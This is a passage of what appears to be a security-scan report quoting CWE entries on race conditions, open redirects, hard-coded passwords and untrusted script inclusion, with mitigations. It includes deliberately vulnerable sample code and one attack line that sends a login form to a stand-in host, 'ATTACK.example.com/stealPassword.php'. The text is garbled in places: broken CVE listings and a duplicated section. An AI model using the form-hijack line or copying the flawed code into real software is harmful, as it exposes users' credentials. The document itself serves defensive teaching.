Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or
double-checked locking (CWE-609).
Example 1
This code could be used in an e-commerce application that supports transfers between
accounts. It takes the total amount of the transfer, sends it to the new account, and
deducts the amount from the original account.
(Bad Code)
Example Language: Perl
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();
if ($transfer_amount < 0) {
FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
PAGE 83 OF 101
if (($balance - $transfer_amount) < 0) {
FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");
A race condition could occur between the calls to GetBalanceFromDatabase() and
SendNewBalanceToDatabase().
Suppose the same user can invoke this program multiple times simultaneously, such as
by making multiple requests in a web application. An attack could be constructed as
follows:
Suppose the balance is initially 100.00.
The attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2.
Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles
CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase()
encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This
happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to
20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00
At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of
transfers), but the balance is 99.00, as recorded in the database.
To prevent this weakness, the programmer has several options, including using a lock
to prevent multiple simultaneous requests to the web application, or using a
synchronization mechanism that includes all the code between
GetBalanceFromDatabase() and SendNewBalanceToDatabase().
Observed Examples
CVE-2008- Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the
5044 same time.
CVE-2008- chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that
2958 was designed to prevent symlink attacks.
CVE-2008- chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that
1570 was designed to prevent symlink attacks.
CVE-2008- Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
0058
CVE-2008- Race condition during initialization triggers a buffer overflow.

0379
CVE-2007- Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does
6599 not acquire a lock.
CVE-2007- chain: race condition triggers NULL pointer dereference

6180
PAGE 84 OF 101
CVE-2007- Race condition in library function could cause data to be sent to the wrong process.
5794
CVE-2007- Race condition in file parser leads to heap corruption.

3970
CVE-2008- chain: race condition allows attacker to access an object while it is still being initialized, causing software to access
5021 uninitialized memory.
In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on
performance.

Use thread-safe capabilities such as the data access abstraction in Spring.

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the
likelihood of unexpected conditions occurring.
Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of
service where an attacker may be able to repeatedly trigger a critical section (CWE-400).
When using multi-threading, only use thread-safe functions on shared variables.
Use atomic operations on shared variables. Be wary of innocent-looking constructs like "x++". This is actually non-atomic, since it
involves a read followed by a write.
Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.
Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of
synchronization.
Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite
loop.
Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not
necessarily solve the synchronization problem, but it can help.
Phase: Testing
Stress-test the software by calling it simultaneously from a large number of threads or processes, and look for evidence of any
unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect
results.
Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to
detect.
Phase: Testing
Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under
low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable
connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an
unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate
unexpected conditions that were not handled by the application itself.
Relationships
ChildOf Category 361 Time and State Development Concepts (primary)699
ChildOf Weakness Class 691 Insufficient Control Flow Research Concepts (primary)1000
Management
ChildOf Category 743 CERT C Secure Coding Section Weaknesses Addressed by the CERT C Secure
09 - Input Output (FIO) Coding Standard (primary)734
ChildOf Category 751 2009 Top 25 - Insecure Weaknesses in the 2009 CWE/SANS Top 25 Most
PAGE 85 OF 101
Interaction Between Dangerous Programming Errors (primary)750
Components
ChildOf Category 801 2010 Top 25 - Insecure Weaknesses in the 2010 CWE/SANS Top 25 Most
Interaction Between Dangerous Programming Errors (primary)800
Components
RequiredBy Compound 61 UNIX Symbolic Link (Symlink) Research Concepts1000
Element: Following
Composite
RequiredBy Compound 689 Permission Race Condition Research Concepts1000
Element: During Resource Copy
Composite
ParentOf 364 Signal Handler Race Condition Development Concepts (primary)699
Weakness Base
Research Concepts (primary)1000
ParentOf 365 Race Condition in Switch Development Concepts (primary)699
Weakness Base
ParentOf 366 Race Condition within a Thread Development Concepts (primary)699
Weakness Base
ParentOf 367 Time-of-check Time-of-use Development Concepts (primary)699
Weakness Base
(TOCTOU) Race Condition Research Concepts (primary)1000
ParentOf 368 Context Switching Race Development Concepts (primary)699
Weakness Base
Condition Research Concepts (primary)1000
ParentOf 421 Race Condition During Access Development Concepts699
Weakness Base
to Alternate Channel Research Concepts1000
MemberOf View 635 Weaknesses Used by NVD Weaknesses Used by NVD (primary)635
CanFollow 609 Double-Checked Locking Development Concepts699
Weakness Base
Research Concepts1000
CanFollow 662 Insufficient Synchronization Development Concepts699
Weakness Base
Research Concepts1000
CanAlsoBe Category 557 Concurrency Issues Research Concepts1000
Research Gaps
Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing
interest in this area.
Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many
race conditions are related to synchronization problems that do not necessarily require a time-of-check.
Taxonomy Mappings
PLOVER Race Conditions
CERT C Secure Coding FIO31-C Do not simultaneously open the same file multiple times

26 Leveraging Race Conditions
29 Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions
References
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page
205. McGraw-Hill. 2010.
Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008-02-01.
<http://www.ddj.com/cpp/184403766>.
Steven Devijver. "Thread-safe webapps using Spring". <http://www.javalobby.org/articles/thread-safe/index.jsp>.
David Wheeler. "Prevent race conditions". 2007-10-04. <http://www.ibm.com/developerworks/library/l-sprace.html>.
Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". September 1995.
<http://www.cs.ucdavis.edu/research/tech-reports/1995/CSE-95-9.pdf>.
David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003-03-03. <http://www.dwheeler.com/secure-
programs/Secure-Programs-HOWTO/avoid-race.html>.
Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". April 2002.
<http://www.blakewatts.com/namedpipepaper.html>.
Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications".
PAGE 86 OF 101
<http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf>.
"Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection.
<http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html>.
Maintenance Notes
The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not
necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions,
and synchronization can be used for other purposes besides race condition prevention.
Content History
Submissions
Date
PLOVER Externally
Mined
Modifications
Date
updated Applicable Platforms, Common Consequences, Demonstrative Examples, Description,
Likelihood of Exploit, Maintenance Notes, Observed Examples, Potential Mitigations, References,
Relationships, Research Gaps
updated Demonstrative Examples, Potential Mitigations
updated Detection Factors, References, Relationships
Previous
Entry Names
2008-04-11 Race Conditions
BACK TO TOP
PAGE 87 OF 101
Client_DOM_Open_Redirect
Risk
What might happen
An attacker could use social engineering to get a victim to click a link to the application, so that the user will be immediately
redirected to another, arbitrary site.
Users may think that they are still in the original application site. The second site may be offensive, contain malware, or, most
commonly, be used for phishing.
Cause
How does it happen
The application redirects the user’s browser to a URL provided in a user request, without warning users that they are being redirected
outside the site.
An attacker could use social engineering to get a victim to click a link to the application with a parameter defining another site to
which the application will redirect the user’s browser, and the user may not be aware of the redirection.
How to avoid it
1. Ideally, do not allow arbitrary URLs for redirection. Instead, create a server-side mapping from user-provided parameter
values to legitimate URLs.
2. If it is necessary to allow arbitrary URLs:
● For URLs inside the application site, first filter and encode the user-provided parameter, and then use it as
a relative URL by prefixing it with the application site domain.
● For URLs outside the application (if necessary), use an intermediate disclaimer page to provide users with
a clear warning that they are leaving your site
C#
Avoid redirecting to arbitrary URLs, instead map the parameter to a list of static URLs.
Response.Redirect(getUrlById(targetUrlId));
Java
Avoid redirecting to arbitrary URLs, instead map the parameter to a list of static URLs.
Response.Redirect(getUrlById(targetUrlId));
Executable Regular Expression Error

Weakness ID: 624 (Weakness Base) Status: Incomplete
Description
Description Summary
The product uses a regular expression that either (1) contains an executable component with user-controlled
PAGE 88 OF 101
inputs, or (2) allows a user to enable execution by inserting pattern modifiers.
Case (2) is possible in the PHP preg_replace() function, and possibly in other languages
when a user-controlled input is inserted into a string that is later parsed as a regular
expression.
 Implementation
Languages
PHP
Perl
Observed Examples
CVE-2006-2059 executable regexp in PHP by inserting "e" modifier into first argument to preg replace
CVE-2005-3420 executable regexp in PHP by inserting "e" modifier into first argument to preg replace
CVE-2006-2878CVE-2006- complex curly syntax inserted into the replacement argument to PHP preg replace(), which uses the
2908 "/e" modifier
The regular expression feature in some languages allows inputs to be quoted or escaped before insertion, such as \Q and \E in
Perl.
Relationships
Nature Type ID Name View(s) this relationship
pertains to
ChildOf Weakness 77 Improper Sanitization of Special Elements used in a Command Development Concepts
Class ('Command Injection') (primary)699
Research Concepts
(primary)1000
Research Gaps
Under-studied. The existing PHP reports are limited to highly skilled researchers, but there are few examples for other languages.
It is suspected that this is under-reported for all languages. Usability factors might make it more prevalent in PHP, but this theory
has not been investigated.
Content History
Modifications
Modification Date Modifier Organization Source
updated Applicable Platforms, Relationships, Observed Example
updated Description
BACK TO TOP
PAGE 89 OF 101
Use of Hard-coded Password
Description
Description Summary
The software contains a hard-coded password, which it uses for its own inbound authentication or for outbound
communication to external components.
A hard-coded password typically leads to a significant authentication failure that can be
difficult for the system administrator to detect. Once detected, it can be difficult to fix,
so the administrator may be forced into disabling the product entirely. There are two
main variations:
Inbound: the software contains an authentication mechanism that checks for a hard-
coded password.
Outbound: the software connects to another system or component, and it contains
hard-coded password for connecting to that component.
In the Inbound variant, a default administration account is created, and a simple
password is hard-coded into the product and associated with that account. This hard-
coded password is the same for each installation of the product, and it usually cannot be
changed or disabled by system administrators without manually modifying the program,
or otherwise patching the software. If the password is ever discovered or published (a
common occurrence on the Internet), then anybody with knowledge of this password
can access the product. Finally, since all installations of the software will have the same
password, even across different organizations, this enables massive attacks such as
worms to take place.
The Outbound variant applies to front-end systems that authenticate with a back-end
service. The back-end service may require a fixed password which can be easily
discovered. The programmer may simply hard-code those back-end credentials into the
front-end software. Any user of that program may be able to extract the password.
Client-side systems with hard-coded passwords pose even more of a threat, since the
extraction of a password from a binary is usually very simple.
 Implementation
Languages
Common Consequences
Scope Effect
Authentication If hard-coded passwords are used, it is almost certain that malicious users will gain access through the account in
question.
Very High
Detection Methods
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing,
threat modeling, and interactive tools that allow the tester to record and modify an active session.
PAGE 90 OF 101
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to
design and business rules.
Example 1
The following code uses a hard-coded password to connect to a database:
(Bad Code)
Example Language: Java
...
DriverManager.getConnection(url, "scott", "tiger");
...
This is an example of an external hard-coded password on the client-side of a
connection. This code will run successfully, but anyone who has access to it will have
access to the password. Once the program has shipped, there is no going back from the
database user "scott" with a password of "tiger" unless the program is patched. A
devious employee with access to this information can use it to break into the system.
Even worse, if attackers have access to the bytecode for application, they can use the
javap -c command to access the disassembled code, which will contain the values of the
passwords used. The result of this operation might look something like the following for
the example above:
(Attack)
javap -c ConnMngr.class
22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
24: ldc #38; //String scott
26: ldc #17; //String tiger
Example 2
The following code is an example of an internal hard-coded password in the back-end:
(Bad Code)
Example Languages: C and C++
int VerifyAdmin(char *password) {
if (strcmp(password, "Mew!")) {
printf("Incorrect Password!\n");
return(0)
}
printf("Entering Diagnostic Mode...\n");
return(1);
}
(Bad Code)
Example Language: Java
int VerifyAdmin(String password) {
if (passwd.Equals("Mew!")) {
return(0)
}
//Diagnostic Mode
return(1);
}
Every instance of this program can be placed into diagnostic mode with the same
password. Even worse is the fact that if this program is distributed as a binary-only
distribution, it is very difficult to change that password or disable this "functionality."
For outbound authentication: store passwords outside of the code in a strongly-protected, encrypted configuration file or database
that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-
320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible.
PAGE 91 OF 101
For inbound authentication: Rather than hard-code a default username and password for first time logins, utilize a "first login"
mode that requires the user to enter a unique strong password.

Perform access control checks and limit which entities can access the feature that requires the hard-coded password. For example,
a feature might only be enabled through the system console instead of through a network connection.

For inbound authentication: apply strong one-way hashes to your passwords and store those hashes in a configuration file or
database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the
password. When handling an incoming password during authentication, take the hash of the password and compare it to the hash
that you have saved.
Use randomly assigned salts for each separate hash that you generate. This increases the amount of computation that an attacker
needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

For front-end to back-end connections: Three solutions are possible, although none are complete.
The first suggestion involves the use of generated passwords which are changed automatically and must be entered at given time
intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.
Next, the passwords used should be limited at the back end to only performing actions valid for the front end, as opposed to
having full access.
Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay style attacks.
Phase: Testing
Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This
technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify
that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running
process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon,
Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.
Attach the monitor to the process and perform a login. Using disassembled code, look at the associated instructions and see if any
of them appear to be comparing the input to a fixed string or value.
Primary (where the weakness exists independent of other weaknesses)
Relationships
ChildOf Category 254 Security Features Seven Pernicious Kingdoms (primary)700
ChildOf Weakness 344 Use of Invariant Value in Dynamically Research Concepts1000
Base Changing Context
ChildOf Weakness 671 Lack of Administrator Control over Security Research Concepts1000
Class
ChildOf Category 724 OWASP Top Ten 2004 Category A3 - Weaknesses in OWASP Top Ten (2004)
Broken Authentication and Session (primary)711
Management
ChildOf Category 753 2009 Top 25 - Porous Defenses Weaknesses in the 2009 CWE/SANS Top 25 Most
Dangerous Programming Errors (primary)750
ChildOf Weakness 798 Use of Hard-coded Credentials Development Concepts (primary)699
PeerOf Weakness 257 Storing Passwords in a Recoverable Format Research Concepts1000
Base
PeerOf Weakness 321 Use of Hard-coded Cryptographic Key Research Concepts1000
Base
MemberOf View 630 Weaknesses Examined by SAMATE Weaknesses Examined by SAMATE (primary)630
CanFollow Weakness 656 Reliance on Security through Obscurity Research Concepts1000
Base
f Causal Nature
Explicit
Taxonomy Mappings
7 Pernicious Kingdoms Password Management: Hard-Coded Password
CLASP Use of hard-coded password
OWASP Top Ten 2004 A3 CWE More Specific Broken Authentication and Session Management
PAGE 92 OF 101
188 Reverse Engineering
189 Software Reverse Engineering
190 Reverse Engineer an Executable to Expose Assumed Hidden Functionality or Content
191 Read Sensitive Stings Within an Executable
192 Protocol Reverse Engineering
205 Lifting credential(s)/key material embedded in client distributions (thick or thin)
White Box Definitions

Definition: A weakness where code path has:
1. end statement that passes a data item to a password function
2. value of the data item is a constant
Maintenance Notes
This entry should probably be split into multiple variants: an inbound variant (as seen in the second demonstrative example) and
an outbound variant (as seen in the first demonstrative example). These variants are likely to have different consequences,
detectability, etc. See extended description.
Content History
Submissions
Submission Date Submitter Organization Source
7 Pernicious Kingdoms Externally
Mined
Modifications
Modification Date Modifier Organization Source
2008-08-01 KDM Analytics External
added/updated white box definitions
updated Common Consequences, Relationships, Other Notes, Taxonomy Mappings,
updated Description, Potential Mitigations
Significant description modifications to emphasize different variants.
updated Demonstrative Examples, Description, Maintenance Notes, Other Notes,
updated Demonstrative Examples, Description, Maintenance Notes, Potential Mitigations,
Relationships
2009-07-17 KDM Analytics External
Improved the White Box Definition
updated Demonstrative Examples, Related Attack Patterns, White Box Definitions
updated Demonstrative Examples, Description, Detection Factors, Name, Potential
Mitigations, Relationships
updated Applicable Platforms
Previous Entry
Names
2010-02-16 Hard-Coded Password
BACK TO TOP
PAGE 93 OF 101
Client_Potential_Ad_Hoc_Ajax
Weakness ID: 829 (Weakness Class) Status: Incomplete
Description
Description Summary
The software imports, requires, or includes executable functionality (such as a library) from a source that is
outside of the intended control sphere.
When including third-party functionality, such as a web widget, library, or other source of functionality, the
software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality
could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in
transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to
additional functionality and state information that should be kept private to the base system, such as system
state information, sensitive application data, or the DOM of a web application.
This might lead to many different consequences depending on the included functionality, but some examples
include injection of malware, information exposure by granting excessive privileges or permissions to the
untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware
(CWE-601).
Common Consequences
Scope Effect
ConfidentialityTechnical Impact: Execute unauthorized code or commands
Integrity
Availability
An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted
control sphere, such as a malicious web site.
Example 1
This login webpage includes a weather widget from an external website:

(Bad Code)
<div class="header"> Welcome!
<div id="loginBox">Please Login:
<form id ="loginForm" name="loginForm" action="login.php" method="post">
Username: <input type="text" name="username" />
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" />
</form>
</div>
<div id="WeatherWidget">
<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
</div>
</div>
This webpage is now only as secure as the external domain it is including functionality from. If an attacker
compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker
would have complete control, as seen in any XSS weakness (CWE-79).
For example, user login information could easily be stolen with a single line added to weatherwidget.js:
PAGE 94 OF 101
(Attack)
Example Language: Javascript
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
This line of javascript changes the login form's original action target from the original website to an attack site.
As a result, if a user attempts to login their username and password will be sent directly to the attack site.
Observed Examples
CVE-2010- Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers,
2076 or cause a denial of service.
0285
0030
0068
2157
2162
2198
0128
1864
1869
1870
2154
1704
1707
1964
1681
2086
0127
1971
CVE-2005- PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues
3335 probably have this vector.
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the
actual filenames or URLs, and reject all other inputs.
For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability [R.829.1].
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can
bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then,
these modified values would be submitted to the server.
Strategy: Sandbox or Jail
Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict
PAGE 95 OF 101
which files can be accessed in a particular directory or which commands can be executed by your software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example,
java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.
Effectiveness: Limited
The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an
attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.829.2]. If possible, create isolated accounts with limited privileges
that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For
example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications.
Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or
malformed inputs (i.e., do not rely on a blacklist). However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that
they should be rejected outright.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra
inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it
only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."
For filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as
CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access
control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the
existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also
reduce your attack surface.
Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment
variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the
application. Remember that such inputs may be obtained indirectly through API calls.
Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
Phase: Operation
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a
third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.
An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using
malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject
or modify legitimate requests. Finally, some manual effort may be required for customization.
Relationships
ChildOf Weakness 669Incorrect Resource Transfer Between Spheres Development Concepts (primary)699
Class Research Concepts (primary)1000
ChildOf Category 813OWASP Top Ten 2010 Category A4 - Insecure Direct Object Weaknesses in OWASP Top Ten (2010) (primary)809
References
PAGE 96 OF 101
ChildOf Category 8642011 Top 25 - Insecure Interaction Between Components Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous
Software Errors (primary)900
ParentOf Weakness 98 Improper Control of Filename for Include/Require Statement in PHP Research Concepts (primary)1000
Base Program ('PHP File Inclusion')
ParentOf Weakness 827Improper Control of Document Type Definition Research Concepts1000
Base
ParentOf Weakness 830Inclusion of Web Functionality from an Untrusted Source Development Concepts (primary)699
175 Code Inclusion
253 Remote Code Inclusion
101 Server Side Include (SSI) Injection
251 Local Code Inclusion
252 PHP Local File Inclusion
38 Leveraging/Manipulating Configuration File Search Paths
103 Clickjacking
181 Flash File Overlay
222 iFrame Overlay
185 Malicious Software Download
186 Malicious Software Update
187 Malicious Automated Software Update
111 JSON Hijacking (aka JavaScript Hijacking)
184 Software Integrity Attacks
35 Leverage Executable Code in Nonexecutable Files
References
[R.829.1] [REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[R.829.2] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
Content History
Submissions
MITRE Internal CWE
Team
Modifications
Date
updated Common_Consequences
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, Potential_Mitigations, Related_Attack_Patterns,
Relationships
updated Potential_Mitigations, References, Relationships
Back to top
PAGE 97 OF 101
Weakness ID: 829 (Weakness Class) Status: Incomplete
Description
Description Summary
The software imports, requires, or includes executable functionality (such as a library) from a source that is
outside of the intended control sphere.
When including third-party functionality, such as a web widget, library, or other source of functionality, the
software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality
could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in
transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to
additional functionality and state information that should be kept private to the base system, such as system
state information, sensitive application data, or the DOM of a web application.
This might lead to many different consequences depending on the included functionality, but some examples
include injection of malware, information exposure by granting excessive privileges or permissions to the
untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware
(CWE-601).
Common Consequences
Scope Effect
ConfidentialityTechnical Impact: Execute unauthorized code or commands
Integrity
Availability
An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted
control sphere, such as a malicious web site.
Example 1
This login webpage includes a weather widget from an external website:

(Bad Code)
<div class="header"> Welcome!
<div id="loginBox">Please Login:
<form id ="loginForm" name="loginForm" action="login.php" method="post">
Username: <input type="text" name="username" />
<br/>
Password: <input type="password" name="password" />
<input type="submit" value="Login" />
</form>
</div>
<div id="WeatherWidget">
<script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
</div>
</div>
This webpage is now only as secure as the external domain it is including functionality from. If an attacker
compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker
would have complete control, as seen in any XSS weakness (CWE-79).
For example, user login information could easily be stolen with a single line added to weatherwidget.js:
PAGE 98 OF 101
(Attack)
Example Language: Javascript
...Weather widget code....
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
This line of javascript changes the login form's original action target from the original website to an attack site.
As a result, if a user attempts to login their username and password will be sent directly to the attack site.
Observed Examples
CVE-2010- Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers,
2076 or cause a denial of service.
0285
0030
0068
2157
2162
2198
0128
1864
1869
1870
2154
1704
1707
1964
1681
2086
0127
1971
CVE-2005- PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues
3335 probably have this vector.
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Strategy: Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the
actual filenames or URLs, and reject all other inputs.
For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability [R.829.1].
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can
bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then,
these modified values would be submitted to the server.
Strategy: Sandbox or Jail
Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict
PAGE 99 OF 101
which files can be accessed in a particular directory or which commands can be executed by your software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example,
java.io.FilePermission in the Java SecurityManager allows you to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.
Effectiveness: Limited
The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an
attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.829.2]. If possible, create isolated accounts with limited privileges
that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For
example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications.
Reject any input that does not strictly conform to specifications, or transform it into something that does. Do not rely exclusively on looking for malicious or
malformed inputs (i.e., do not rely on a blacklist). However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that
they should be rejected outright.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra
inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it
only contains alphanumeric characters, but it is not valid if you are expecting colors such as "red" or "blue."
For filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as
CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access
control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the
existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
